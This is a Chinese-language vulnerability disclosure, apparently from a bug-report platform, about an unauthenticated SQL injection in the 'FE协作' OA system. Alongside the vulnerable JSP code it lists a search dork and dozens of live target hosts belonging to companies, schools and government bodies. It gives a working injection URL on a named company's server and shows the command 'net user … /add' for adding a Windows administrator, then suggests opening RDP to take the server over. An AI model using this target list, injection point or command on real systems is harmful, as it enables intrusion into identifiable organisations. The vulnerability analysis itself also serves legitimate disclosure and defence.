### 简要描述:
### 详细说明:
总 、 疯狗叔叔.....通用型的。。等待确认
全版本sql注入漏洞,直接拿下服务器的。。。无需登录
intitle:"fe协作" 涉及客户群体为: 大型企业(如:拉芳集团等等超大企业)、学校(北京师范)、医药、政府(如:珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。)、能源(电网)、银行等等
http://oa.bamatea.com
http://oa.moonbasa.com
http://oa.etonetech.com
http://oa.ztcz.cn
http://218.249.130.74
http://119.146.190.170:9988
http://zhidao.baidu.com
http://wenku.baidu.com
http://223.4.22.36
http://222.243.160.83:9090
http://www.chipshow.cn
http://116.205.96.170:9090
http://www.sxjbjt.com:9090
http://122.225.203.168:8888
http://oa.chinabed.com
http://oa.lutongnet.com
http://oa.zetacn.com:9090
http://oa.zhcpt.edu.cn
http://www.doc88.com
http://oa.sinodata.com.cn
http://www.docin.com
http://www.koyochem.com:8080
http://61.186.155.27
http://oa.nyinn.cn
http://115.236.65.115:9090
http://119.146.190.118:8089
http://219.137.250.133
http://123.133.29.174:9090
http://koa.ecp888.com
http://www.cting.com.cn
http://oa.suncorps.cn
http://59.41.47.211
http://oa.bamatea.com:9090
http://oa.zhenaiws.com
http://www.koyochem.com:9191
http://60.208.131.46:9090
http://219.131.221.174:9090
http://oa.bnuz.edu.cn:8080
http://183.238.59.61:9090
http://218.205.208.22:9090
http://oa.xhlbdc.com
http://124.193.165.174:9090
http://218.75.87.186:9090
http://oa.eva-group.com:511
http://113.106.92.16:9090
http://oa.cqmsy.com
http://cting.com.cn
http://220.231.158.211
http://oa.tiholding.cn
http://124.172.170.141:9090
http://oa.hengdigroup.com:9090
http://www1.elkay.com.cn:9090
http://www.gzpiano.com
http://oa.zaffer.cn
http://oa.gdisg.com
.......
具体分析如下:
在witapprovemanage\apprvaddNew.jsp中
```
<%
Dao dao = (Dao)ResourceManage.getContext("dao");
WitCollocate wit = (WitCollocate)ResourceManage.getContext("witCollocate");
DataTable table = wit.getModels();
DataTable apps = wit.getAppResource();
String flowid = "";
FieldSet fs = null;
String tablenameStr = "";
if(request.getParameter("flowid")!=null){
flowid = request.getParameter("flowid");//获取变量
fs= dao.getFieldSetByFilter(dao.getTableName("WF_MODEL")," WM00= '" + flowid + "'");//这里直接来了
tablenameStr = fs.getString("WM04");
}
```
注入点为:http://oa.bamatea.com/witapprovemanage/apprvaddNew.jsp?flowid=11
贴个图出来吧
[<img src="https://images.seebug.org/upload/201405/14114303934c67d65b59a3c099cc38c69dc5af40.jpg" alt="N_V)6%F]%0`VEMGXC[2IG$8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/14114303934c67d65b59a3c099cc38c69dc5af40.jpg)
直接执行命令添加管理员即可
[<img src="https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg" alt="GTPU1B3($WDW[R`}X)~OMQM.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg)
直接添加管理员 net user admin admin!@! /add && net localgroup administrators admin /add
[<img src="https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg" alt="SQR5M(KB$K@[(5Y%XU3WC1Y.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg)
开3389服务器就爆菊了
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg" alt="GTPU1B3($WDW[R`}X)~OMQM.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg)
直接添加管理员 net user admin admin!@! /add && net localgroup administrators admin /add
[<img src="https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg" alt="SQR5M(KB$K@[(5Y%XU3WC1Y.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg)
开3389服务器就爆菊了
暂无评论